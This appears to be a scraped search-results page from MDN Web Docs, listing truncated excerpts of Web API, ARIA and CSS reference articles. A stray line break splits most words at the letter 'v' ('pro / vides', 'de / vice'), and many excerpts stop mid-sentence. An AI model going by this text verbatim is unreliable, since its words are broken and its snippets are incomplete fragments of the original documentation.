the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which this object pro
vides statistics.
... a pli packet indicates that some amount of encoded
video data has been lost for one or more frames.
...these are sent by the receiver's decoder to notify the sender's encoder that an undefined amount of coded
video data, which may span frame boundaries, has been lost.
...And 3 more matches
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
the rtcrtpencodingparameters dictionary's scaleresolutiondownby property can be used to specify a factor by which to reduce the size of a
video track during encoding.
... this property is only available for tracks whose kind is
video.
... syntax rtpencodingparameters.scaleresolutiondownby = scalingfactor; rtpencodingparameters = { scaleresolutiondownby: scalingfactor }; value a double-precison floating-point number specifying the amount by which to reduce the size of the
video during encoding.
...And 3 more matches
RTCRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the
video track corresponding to this rtcrtpstreamstats object.
... in general, the higher this number is, the more hea
vily compressed the
video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more hea
vily compressed the stream generally has been.
...And 3 more matches
RelativeOrientationSensor - Web APIs
the relativeorientationsensor interface of the the sensor apis describes the de
vice's physical orientation without regard to the earth's reference coordinate system.
... to use this sensor, the user must grant permission to the 'accelerometer', and 'gyroscope' de
vice sensors through the permissions api.
...on each reading it uses orientationsensor.quaternion to rotate a
visual model of a phone.
...And 3 more matches
Using the Resource Timing API - Web APIs
the resource timing api pro
vides a way to retrieve and analyze detailed network timing data regarding the loading of an application's resource(s).
...the interface also includes other properties that pro
vide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...this timing data pro
vides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks.
...And 3 more matches
SVGAnimatedPoints - Web APIs
additionally, the points attribute on the original element accessed
via the xml dom (e.g., using the getattribute() method call) will reflect any changes made to the svganimatedpoints.points attribut.
... interface over
view also implement none methods none properties readonly svgpointlist points readonly svgpointlist animatedpoints normative document svg 1.1 (2nd edition) properties name type description points svgpointlist pro
vides access to the base (i.e., static) contents of the points attribute.
... animatedpoints svgpointlist pro
vides access to the current animated contents of the points attribute.
...And 3 more matches
SVGAnimationElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
...the beha
vior of this method is equivalent to beginelementat(0).
...the beha
vior of this method is equivalent to endelementat(0).
...And 3 more matches
SVGImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html li
ving standardthe definition of 'decoding' in that specification.
... li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdecoding experimentalchrome full support 65edge full support ≤79firefox ?
...And 3 more matches
Touch.pageX - Web APIs
the touch.pagex read-only property returns the x coordinate of the touch point relative to the
viewport, including any scroll offset.
... syntax touchitem.pagex; return value a long representing the x coordinate of the touch point relative to the
viewport, including any scroll offset.
...the touch.pagex property is the horizontal coordinate of a touch point relative to the
viewport (in css pixels), including any scroll offset.
...And 3 more matches
Touch - Web APIs
the touch interface represents a single contact point on a touch-sensitive de
vice.
... the contact point is commonly a finger or stylus and the de
vice may be a touchscreen or trackpad.
...this can be helpful when dealing with imprecise pointing de
vices such as fingers.
...And 3 more matches
sourceCapabilities - Web APIs
the uievent.sourcecapabilities read-only property returns an instance of the inputde
vicecapabilities interface which pro
vides information about the physical de
vice responsible for generating a touch event.
... if no input de
vice was responsible for the event, it returns null.
... when a single user interaction with an input de
vice generates a series of different input events, the sourcecapabilities property for all of them will point to the same instance of inputde
vicecapabilities.
...And 3 more matches
URL - Web APIs
it works by pro
viding properties which allow you to easily read and modify the components of a url.
... you normally create a new url object by specifying the url as a string when calling its constructor, or by pro
viding a relative url and a base url.
... search a usvstring indicating the url's parameter string; if any parameters are pro
vided, this string includes all of them, beginning with the leading ?
...And 3 more matches
USBInTransferResult - Web APIs
the usbintransferresult interface of the webusb api pro
vides the result from a call to the transferin() and controltransferin() methods of the usbde
vice interface.
... it represents the result from requesting a transfer of data from the usb de
vice to the usb host.
... constructor usbintransferresult.usbintransferresult() creates a new usbintransferresult object with the pro
vided status and data fields.
...And 3 more matches
USBIsochronousInTransferPacket - Web APIs
the usbisochronousintransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferin() method of the usbde
vice interface.
... it represents the status of an indi
vidual packet from a request to transfer data from the usb de
vice to the usb host over an isochronous endpoint.
... constructor usbisochronousintransferpacket.usbisochronousintransferpacket() creates a new usbisochronousintransferpacket object with the pro
vided status and data fields.
...And 3 more matches
USBIsochronousInTransferResult - Web APIs
the usbisochronousintransferresult interface of the webusb api pro
vides the result from a call to the isochronoustransferin() method of the usbde
vice interface.
... it represents the result from requesting a transfer of data from the usb de
vice to the usb host.
... constructor usbisochronousintransferresult.usbisochronousintransferresult() creates a new usbisochronousintransferresult object with the pro
vided packets and data fields.
...And 3 more matches
User Timing API - Web APIs
this document pro
vides an over
view of the mark and measure performance event types including the four user timing methods that extend the performance interface.
... retrie
ving performance marks the performance interface has three methods that can be used to retrieve a mark: performance.getentries() returns all performance entries in the performance timeline.
... remo
ving performance marks to remove a specific mark from the performance timeline, call performance.clearmarks(name) where name is the name of the mark(s) you want removed.
...And 3 more matches
ValidityState - Web APIs
badinput read only a boolean that is true if the user has pro
vided input that the browser is unable to convert.
... stepmismatch read only a boolean that is true if the value does not fit the rules determined by the step attribute (that is, it's not evenly di
visible by the step value), or false if it does fit the step rule.
... specifications specification status comment html li
ving standardthe definition of 'validitystate' in that specification.
...And 3 more matches
Clearing with colors - Web APIs
« pre
viousnext » an example showing how to clear a webgl rendering context to a solid color.
...we are gi
ving the event // handler a name (setupwebgl) so that we can refer to the // function object within the function itself.
...otherwise, initialize // the drawing buffer (the
viewport) and clear the context // with a solid color.
...And 3 more matches
Compressed texture formats - Web APIs
the webgl api pro
vides methods to use compressed texture formats.
... these are useful to increase texture detail while limiting the additional
video memory necessary.
... if supported, textures can be stored in a compressed format in
video memory.
...And 3 more matches
Using shaders to apply color in WebGL - Web APIs
« pre
viousnext » ha
ving created a square plane in the pre
vious demonstration, the next ob
vious step is to add a splash of color to it.
... we can do this by re
vising the shaders.
...pre
viously, our vertex shader didn't apply any specific colors to the vertices.
...And 3 more matches
WebXR performance guide - Web APIs
as such, you may find yourself needing to make adjustments or compromises to optimize the performance of your webxr application to be as usable as possible on the broadest assortment of target de
vices.
... can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-
view-for-inline-sessions managing rendering quality ...
... while an indi
vidual vector or matrix doesn't occupy an inordinate amount of memory, the sheer number of vectors and matrices and other structures that are used to build each frame of a 3d scene means the memory management becomes a problem eventually if you keep allocating and de-allocating memory objects.
...And 3 more matches
Targeting and hit detection - Web APIs
virtual object hit testing detection of collisions with
virtual objects usually doesn't actually involve testing for intersection of the ray with one of the scene's polygons, as a typical scene may have hundreds or thousands of polygons, which makes direct tracing of rays to polygons impractical in most cases.
... simplified representative objects one common solution is to overlay simplified, in
visible objects atop the objects in your scene.
... testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the de
vice's camera (if available) but also potentially multiple additional sensors.
...And 3 more matches
Web Animations API Concepts - Web APIs
the web animations api (waapi) pro
vides javascript developers access to the browser’s animation engine and describes how animations should be implemented across browsers.
... this article will introduce you to the important concepts behind the waapi, pro
viding you with a theoretical understanding of how it works so you can use it effectively.
...it also pro
vides a point of reference all browsers can adhere to with the currently available specs.
...And 3 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
wave oscillatornode, periodicwave "pulse" multiple oscillators oscillatornode "noise" random noise buffer, biquad filter audiobuffer, audiobuffersourcenode, biquadfilternode "dial up" loading a sound sample to play audiocontext.decodeaudiodata(), audiobuffersourcenode note: this instrument was not created to sound good, it was created to pro
vide demonstration code and represents a very simplified version of such an instrument.
... pulse user controls for the ui controls, let's expose both frequencies of our oscillators, allowing them to be controlled
via range inputs.
... let bandpass = audioctx.createbiquadfilter(); bandpass.type = 'bandpass'; bandpass.frequency.value = 1000; // connect our graph noise.connect(bandpass).connect(audioctx.destination); noise user controls on the ui we'll expose the noise duration and the frequency we want to band, allowing the user to adjust them
via range inputs and event handlers just like in pre
vious sections: <label for="duration">duration</label> <input name="duration" id="duration" type="range" min="0" max="2" value="1" step="0.1" /> <label for="band">band</label> <input name="band" id="band" type="range" min="400" max="1200" value="1000" step="5" /> let noiseduration = 1; const durcontrol = document.queryselector('#duration'); dur...
...And 3 more matches
Background audio processing using AudioWorklet - Web APIs
high level over
view before we start looking at the use of audioworklet on a step-by-step basis, let's start with a brief high-level over
view of what's involved.
... a single audio worklet processor module may define multiple processor classes, registering each of them with indi
vidual calls to registerprocessor().
...fundamentally, the audio for a single audio channel (such as the left speaker or the subwoofer, for example) is represented as a float32array whose values are the indi
vidual audio samples.
...And 3 more matches
window.cancelIdleCallback() - Web APIs
summary the window.cancelidlecallback() method cancels a callback pre
viously scheduled with window.requestidlecallback().
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelidlecallback experimentalchrome full support 47edge full support 79firefox full support 55 full support 55 full s...
...to change preferences in firefox,
visit about:config.ie no support noopera full support yessafari no support noweb
view android full support 47chrome android full support 47firefox android full support 55 full support 55 full support 53disabled disabled from version 53: th...
...And 3 more matches
Window.getComputedStyle() - Web APIs
the window.getcomputedstyle() method returns an object containing the values of all css properties of an element, after applying active stylesheets and resol
ving any basic computation those values may contain.
... indi
vidual css property values are accessed through apis pro
vided by the object, or by indexing with css property names.
... default
view in many code samples, getcomputedstyle is used from the document.default
view object.
...And 3 more matches
Window.prompt() - Web APIs
note that in internet explorer 7 and 8, if you do not pro
vide this parameter, the string "undefined" is the default value.
... const anumber = number(window.prompt("type a number", "")); specification specification status comment html li
ving standardthe definition of 'prompt()' in that specification.
... li
ving standard browser compatibility the compatibility table in this page is generated from structured data.
...And 3 more matches
Window.statusbar - Web APIs
the window.statusbar property returns the statusbar object, whose
visibility can be toggled in the window.
... syntax objref = window.statusbar example the following complete html example shows a way that the
visible property of the various "bar" objects is used, and also the change to the pri
vileges necessary to write to the
visible property of any of the bars on an existing window.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.pri
vilegemanager.enablepri
vilege("universalbrowserwrite"); window.statusbar.
visible=!window.statusbar.
visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the
visibility of these bars, you must either sign your scripts or enable the appropriate pri
vileges, as in the example above.
...And 3 more matches
WindowClient - Web APIs
the windowclient interface of the ser
viceworker api represents the scope of a ser
vice worker client that is a document in a browsing context, controlled by an active worker.
... the ser
vice worker client independently selects and uses a ser
vice worker for its own loading and sub-resources.
... windowclient.na
vigate() loads a specified url into a controlled client page.
...And 3 more matches
WindowEventHandlers.onbeforeunload - Web APIs
at this point, the document is still
visible and the event is still cancelable.
... window.addeventlistener('beforeunload', function (e) { // cancel the event e.preventdefault(); // if you prevent default beha
vior in mozilla firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by remo
ving the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when yo...
...ur page uses javascript to render content, the javascript may stop when lea
ving and then na
vigating back to the page.
...And 3 more matches
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
notes: this code requires elevated pri
vileges to run; you can only call it from a browser extension or from a xulrunner application.
... const {cc,ci} = require("chrome"); function createtcperrorfromfailedxhr(xhr) { let status = xhr.channel.queryinterface(ci.nsirequest).status; let errtype; if ((status & 0xff0000) === 0x5a0000) { // security module const nsinsserrorsser
vice = ci.nsinsserrorsser
vice; let nsserrorsser
vice = cc['@mozilla.org/nss_errors_ser
vice;1'].getser
vice(nsinsserrorsser
vice); let errorclass; // geterrorclass will throw a generic ns_error_failure if the error code is // somehow not in the set of covered errors.
... try { errorclass = nsserrorsser
vice.geterrorclass(status); } catch (ex) { //catching security protocol exception errorclass = 'securityprotocol'; } if (errorclass == nsinsserrorsser
vice.error_class_bad_cert) { errtype = 'securitycertificate'; } else { errtype = 'securityprotocol'; } // nss_sec errors (happen below the base value because of negative vals) if ((status & 0xffff) < math.abs(nsinsserrorsser
vice.nss_sec_error_base)) { // the bases are actually negative, so in our positive numeric space, we // need to subtract the base off our value.
...And 3 more matches
XREye - Web APIs
the xreye enumerated type is used to identify which eye a particular xr
view represents: left or right; or, if the
view doesn't represent a single eye, the value may be none.
... values left the xr
view represents the point-of-
view of the
viewer's left eye.
... right the
view represents the
viewer's right eye.
...And 3 more matches
XRInputSource.gripSpace - Web APIs
the read-only xrinputsource property gripspace returns an xrspace whose native origin tracks the pose used to render
virtual objects so they appear to be held in (or part of) the user's hand.
... for example, if a user were holding a
virtual straight rod, the native origin of this xrspace would be located at the approximate center of mass of the user's fist.
... syntax var xrspace = xrinputsource.gripspace; value an xrspace object representing the position and orientation of the input de
vice in
virtual space, suitable for rendering an image of the de
vice into the scene.
...And 3 more matches
XRInputSourcesChangeEvent - Web APIs
the webxr de
vice api interface xrinputsourceschangeevent is used to represent the inputsourceschange event sent to an xrsession when the set of available webxr input controllers changes.
... properties added read only an array of zero or more xrinputsource objects, each representing an input de
vice which has been newly connected or enabled for use.
... removed read only an array of zero or more xrinputsource objects representing the input de
vices newly connected or enabled for use.
...And 3 more matches
XRPose - Web APIs
the xrspace—which is either an xrreferencespace or an xrboundedreferencespace—defines the coordinate system used for the pose and, in the case of an xr
viewerpose, its underlying
views.
... to obtain the xrpose for the xrspace used as the local coordinate system of an object, call xrframe.getpose(), specifying that local xrspace and the space to which you wish to convert: thepose = xrframe.getpose(localspace, basespace); the pose for a
viewer (or camera) is represented by the xr
viewerpose subclass of xrpose.
... this is obtained using xrframe.get
viewerpose() instead of getpose(), specifying a reference space which has been adjusted to position and orient the node to pro
vide the desired
viewing position and angle:
viewerpose = xrframe.get
viewerpose(adjreferencespace); here, adjreferencespace is a reference space which has been updated using the base frame of reference for the frame and any adjustments needed to position the
viewer based on movement or rotation which is being supplied from a source other than the xr de
vice, such as keyboard or mouse inputs.
...And 3 more matches
XRSession.inputSources - Web APIs
the read-only inputsources property of the xrsession interface returns an xrinputsourcearray object which lists all controllers and input de
vices which are expressly associated with the xr de
vice and are currently available.
... syntax inputsources = xrsession.inputsources; value an xrinputsourcearray object listing all of the currently-connected input controllers which are linked specifically to the xr de
vice currently in use.
... the returned object is live; as de
vices are connected to and removed from the user's system, the list's contents update to reflect the changes.
...And 3 more matches
XRSessionEvent() - Web APIs
the webxr de
vice api's xrsessionevent() constructor creates and returns a new xrsessionevent object.
... these objects represent events announcing state changes in an xrsession representing an augmented or
virtual reality session.
...
visibilitychange fired at the session whenever its
visibility state changes.
...And 3 more matches
Using the group role - Accessibility
a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of siblings in a hierarchy, or a collection of items ha
ving the same container in a directory.
... proper handling of a group by assistive technologies is determined by the context in which it is pro
vided.
... possible effects on user agents and assistive technology when the group role is added to an element, or such an element becomes
visible, the user agent should do the following: expose the element as ha
ving a group role in the operating system's accessibility api.
...And 3 more matches
ARIA: contentinfo role - Accessibility
the contentinfo landmark role is used to identify information repeated at the end of every page of a website, including copyright information, na
vigation links, and privacy statements.
...landmarks can be used by assistive technology to quickly identify and na
vigate to large sections of the document.
...contentinfo landmarks present in content embedded
via <iframe> elements do not count towards this limit.
...And 3 more matches
ARIA: figure role - Accessibility
description any content that should be grouped together and consumed as a figure (which could include images,
video, audio, code snippets, or other content) can be identified as a figure using role="figure".
...for example, make sure it is perceivable by users of assistive technology, na
vigable by keyboard as well as mouse, and so on.
... <figcaption>text that describes the figure.</figcaption> </figure> if you don't want the label to be
visible on the screen, but still want to pro
vide a descriptive label for assistive technology users, you can use the aria-label attribute on the figure container: <div role="figure" aria-label="text that describes the figure."> ...
...And 3 more matches
ARIA: img role - Accessibility
these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a
visual manner.
... <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images,
video, audio, code snippets, emojis, or other content) can be identified using role="img".
... you shouldn't count on the alt text of indi
vidual elements images for conveying context to assistive technologies; most screenreaders will consider the element with role="img" set on it to be to be like a black box, and not access the indi
vidual elements inside it.
...And 3 more matches
ARIA: switch role - Accessibility
changing the aria-checked attribute when a click event is fired on the switch widget, the handler must change the value of the aria-checked attribute from true to false, or
vice versa.
... possible effects on user agents and assistive technology when the switch role is added to an element, the user agent handles it like this: the element is exposed to the system's accessibility infrastructure as ha
ving the switch role.
...this prevents elements that are used to construct the switch from being interacted with indi
vidually by assistive technologies.
...And 3 more matches
ARIA: checkbox role - Accessibility
<span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label"> </span> <label id="chk1-label">remember my preferences</label> the first rule of aria is if a native html element or attribute has the semantics and beha
vior you require, use it instead of re-purposing an element and adding aria.
... instead use the native html checkbox of <input type="checkbox">, which natively pro
vides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable
via javascript.
...chkpref'); switch(item.getattribute('aria-checked')) { case "true": item.setattribute('aria-checked', "false"); break; case "false": item.setattribute('aria-checked', "true"); break; } } accessibility concerns when the checkbox role is added to an element, the user agent should do the following: expose the element as ha
ving a checkbox role in the operating system's accessibility api.
...And 3 more matches
Basic form hints - Accessibility
when implementing forms using traditional html form-related elements, it is important to pro
vide labels for controls, and explicitly associate a label with its control.
... when a screen reader user na
vigates a page, the screen reader will describe form controls.
...wai-aria, the accessible rich internet applications specification from the w3c's web accessibility initiative, pro
vides the aria-labelledby attribute for these cases.
...And 3 more matches
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the
viewport which is rendered immediately beneath any element being presented in full-screen mode.
... /* backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::backdrop { background: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the
viewport which is always rendered last (and therefore on top) before drawing the
viewport's contents to the screen.
... syntax ::backdrop examples styling the backdrop for full-screen
video in this example, the backdrop style used when a
video is shifted to full-screen mode is configured to be a grey-blue color rather than the black it defaults to in most browsers.
...And 3 more matches
:active - CSS: Cascading Style Sheets
styles defined by the :active pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :hover, or :
visited) that has at least equal specificity.
... to style links appropriately, put the :active rule after all other link-related rules, as defined by the lvha-order: :link — :
visited — :hover — :active.
...</p> css a:link { color: blue; } /* un
visited links */ a:
visited { color: purple; } /*
visited links */ a:hover { background: yellow; } /* hovered links */ a:active { color: red; } /* active links */ p:active { background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> <...
...And 3 more matches
:hover - CSS: Cascading Style Sheets
the :hover css pseudo-class matches when the user interacts with an element with a pointing de
vice, but does not necessarily activate it.
... /* selects any <a> element when "hovered" */ a:hover { color: orange; } styles defined by the :active pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :
visited, or :active) that has at least equal specificity.
... to style links appropriately, put the :hover rule after the :link and :
visited rules but before the :active one, as defined by the lvha-order: :link — :
visited — :hover — :active.
...And 3 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:is()chrome full support 68notes disabled full support 68notes disabled notes combinators in the selector list argument may not match correctly (see bug 842157).disabled from version 68: this feature is behind the #enable-ex...
...to change preferences in chrome,
visit chrome://flags.
...to change preferences in chrome,
visit chrome://flags.
...And 3 more matches
any-pointer - CSS: Cascading Style Sheets
the any-pointer css media feature tests whether the user has any pointing de
vice (such as a mouse), and if so, how accurate it is.
... note: if you want to test the accuracy of the primary pointing de
vice, use pointer instead.
... none no pointing de
vice is available.
...And 3 more matches
color - CSS: Cascading Style Sheets
the color css media feature can be used to test the number of bits per color component (red, green, blue) of the output de
vice.
... syntax the color feature is specified as an <integer> value that represents the number of bits per color component (red, green, blue) of the output de
vice.
... if the de
vice is not a color de
vice, the value is zero.
...And 3 more matches
height - CSS: Cascading Style Sheets
the height css descriptor is a shorthand descriptor for setting both min-height and max-height of the
viewport.
... by pro
viding one
viewport length value will set both, the minimum height and the maximum height, to the value pro
vided.
... if two
viewport values are pro
vided, the first value will set the minimum height and the second value will set the maximum height.
...And 3 more matches
width - CSS: Cascading Style Sheets
the width css descriptor is shorthand for setting both the min-width and the max-width descriptors of the
viewport.
... by pro
viding one
viewport length value, that value will determine both the min-width and the max-width to the value pro
vided.
... if two
viewport values are pro
vided the first value will be set to the min-width and the second value will be set max-width.
...And 3 more matches
Coordinate systems - CSS: Cascading Style Sheets
this specifies the distance away from the
viewer if positive and toward the
viewer if negative.
... client the "client" coordinate system uses as its origin the top-left corner of the
viewport or browsing context in which the event occurred.
... this is the entire
viewing area in which the document is presented.
...And 3 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
scaling background images describes how to change the size and repeating beha
vior of background images.
... applying color to html elements using css an over
view of how css color can be used in html, including for borders.
... border-image generator this interactive tool lets you
visually create border images (the border-image property).
...And 3 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
you let the size of the content decide how much indi
vidual space each item takes up.
...these were things we have wanted to do for a very long time, and have come up with all kinds of hacks to accomplish, at least
visually.
...the fr unit, when combined with the minmax() function can give us very similar beha
vior to the flex properties in flexbox while still enabling the creation of a layout in two dimensions.
...And 3 more matches
CSS Scrollbars - CSS: Cascading Style Sheets
scrollbar-width desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbar-widthchrome no support noedge no support nofirefox full support 64 full support 64 full support ...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 64 full support 64 full support 63disabled disabled from version 63: this feature is behind the...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
...And 3 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
the dom pro
vides features that can test the results of a media query programmatically,
via the mediaquerylist interface and its methods and properties.
... for example, to set up a query list that determines if the de
vice is in landscape or portrait orientation: const mediaquerylist = window.matchmedia("(orientation: portrait)"); checking the result of a query once you've created your media query list, you can check the result of the query by looking at the value of its matches property: if (mediaquerylist.matches) { /* the
viewport is currently in portrait orientation */ } else { /* the
viewport is not curr...
...ently in portrait orientation, therefore landscape */ } recei
ving query notifications if you need to be aware of changes to the evaluated result of the query on an ongoing basis, it's more efficient to register a listener than to poll the query's result.
...And 3 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
ion [prefixed version still accepted] -moz-animation-fill-mode [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-backface-
visibility [prefixed version still accepted] -moz-background-clipobsolete since gecko 2 -moz-background-originobsolete since gecko 2 -moz-background-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [supersede...
... -moz-transition-delay [prefixed version still accepted] -moz-transition-duration [prefixed version still accepted] -moz-transition-property [prefixed version still accepted] -moz-transition-timing-function [prefixed version still accepted] -moz-user-select values global values -moz-initial -moz-appearance button button-arrow-down button-arrow-next button-arrow-pre
vious button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-communications-toolbox ...
...rthumb-vertical scrollbartrack-horizontal scrollbartrack-vertical separator spinner spinner-downbutton spinner-textfield spinner-upbutton statusbar statusbarpanel tab tabpanels tab-scroll-arrow-back tab-scroll-arrow-forward textfield textfield-multiline toolbar toolbarbutton-dropdown toolbox tooltip treeheadercell treeheadersortarrow treeitem treetwisty treetwistyopen tree
view window background-image gradients -moz-linear-gradient -moz-radial-gradient elements -moz-element sub-images -moz-image-rect() border-color -moz-use-text-colorobsolete since gecko 52 (removed in bug 1306214); use currentcolor instead.
...And 3 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
source image examples before di
ving in to look at the results of using different kinds of source images and seeing how they look when used with background-size, it would be helpful to look at a few example source images that have different dimensions and sizing settings.
... in each case, we show what the source image looks like rendered in a 150x150 box, and pro
vide a link to the svg source.
...for example, preser
ving a 3:4 intrinsic aspect ratio for a 300x200 box with contain means drawing a 150x200 background.
...And 3 more matches
Specificity - CSS: Cascading Style Sheets
(the selectors declared inside :not() do, however.) for more information,
visit: "specificity" in "cascade and inheritance", you can also
visit: https://specifishity.com inline styles added to an element (e.g., style="font-weight: bold;") always overwrite any styles in external stylesheets, and thus can be thought of as ha
ving the highest specificity.
... #myid#myid span { color: yellow; } .myclass.myclass span { color: orange; } how !important can be used: a) overriding inline styles your global css file that sets
visual aspects of your site globally may be overwritten by inline styles defined directly on indi
vidual elements.
... for more information,
visit: https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css https://stackoverflow.com/questions/11178673/how-to-override-important https://stackoverflow.com/questions/2042497/when-to-use-importa...
...And 3 more matches
animation-direction - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-directionchrome full support 43 full support 43 full support 3prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
...to change preferences in firefox,
visit about:config.
... no support 12.1 — 15 no support 12 — 15prefixed prefixed implemented with the vendor prefix: -o-safari full support 9 full support 9 full support 4prefixed prefixed implemented with the vendor prefix: -webkit-web
view android full support 43 full support 43 full support ≤37prefixed prefixed implemented with the vendor prefix: -webkit-chrome android full support 43 full support 43 ...
...And 3 more matches
box-align - CSS: Cascading Style Sheets
the effect of the property is only
visible if there is extra space in the box.
... values start the box aligns contents at the start, lea
ving any extra space at the end.
... center the box aligns contents in the center, di
viding any extra space equally between the start and the end.
...And 3 more matches
conic-gradient() - CSS: Cascading Style Sheets
syntax /* a conic gradient rotated 45 degrees, starting blue and finishing red */ conic-gradient(from 45deg, blue, red); /* a a bluish purple box: the gradient goes from blue to red, but as only the bottom right quadrant is
visible, as the center of the conic gradient is in at the top left corner */ conic-gradient(from 90deg at 0 0, blue, red); /* colorwheel */ background: conic-gradient( hsl(360, 100%, 50%), hsl(315, 100%, 50%), hsl(270, 100%, 50%), hsl(225, 100%, 50%), hsl(180, 100%, 50%), hsl(135, 100%, 50%), hsl(90, 100%, 50%), hsl(45, 100%, 50%), hsl(0, 100%, 50%) ); values...
... similar to radial gradients, the conic gradient syntax pro
vides for positioning the center of the gradient anywhere within, or even outside, the image.
...subsequent color stops of lower value will override the value of the pre
vious color stop creating a hard transition.
...And 3 more matches
element() - CSS: Cascading Style Sheets
examples these examples can be
viewed live in builds of firefox that support -moz-element().
... <div style="width:400px; height:100px; background:-moz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">e
vil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement() experimentalchrome no support noedge no support nofirefox full support 57prefixed full support 57prefixed prefixed implemented with the vendor prefix: -moz- no s...
...And 3 more matches
letter-spacing - CSS: Cascading Style Sheets
the letter-spacing css property sets the horizontal spacing beha
vior between text characters.
...for text styled with a very large positive value, the letters will be so far apart that the word(s) will appear like a series of indi
vidual, unconnected letters.
... css level 2 (re
vision 1)the definition of 'letter-spacing' in that specification.
...And 3 more matches
max-block-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max-block-size with horizontal and vertical text in this example, the same text (the opening sentences from herman mel
ville's novel moby-dick) is presented in both the horizontal-tb and vertical-rl writing modes.
...some years ago—never mind how long precisely—ha
ving little or no money in my purse, and nothing particular to interest me on shore, i thought i would sail about a little and see the watery part of the world.
... it is a way i have of dri
ving off the spleen and regulating the circulation.
...And 3 more matches
min() - CSS: Cascading Style Sheets
